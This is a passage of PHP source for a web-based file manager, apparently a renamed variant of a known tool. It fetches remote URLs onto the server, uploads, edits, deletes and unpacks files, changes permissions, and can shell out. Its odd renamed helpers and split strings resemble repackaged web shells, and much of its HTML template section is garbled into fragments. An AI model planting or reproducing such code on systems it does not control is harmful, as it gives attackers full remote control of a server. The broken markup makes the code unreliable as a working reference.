$err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 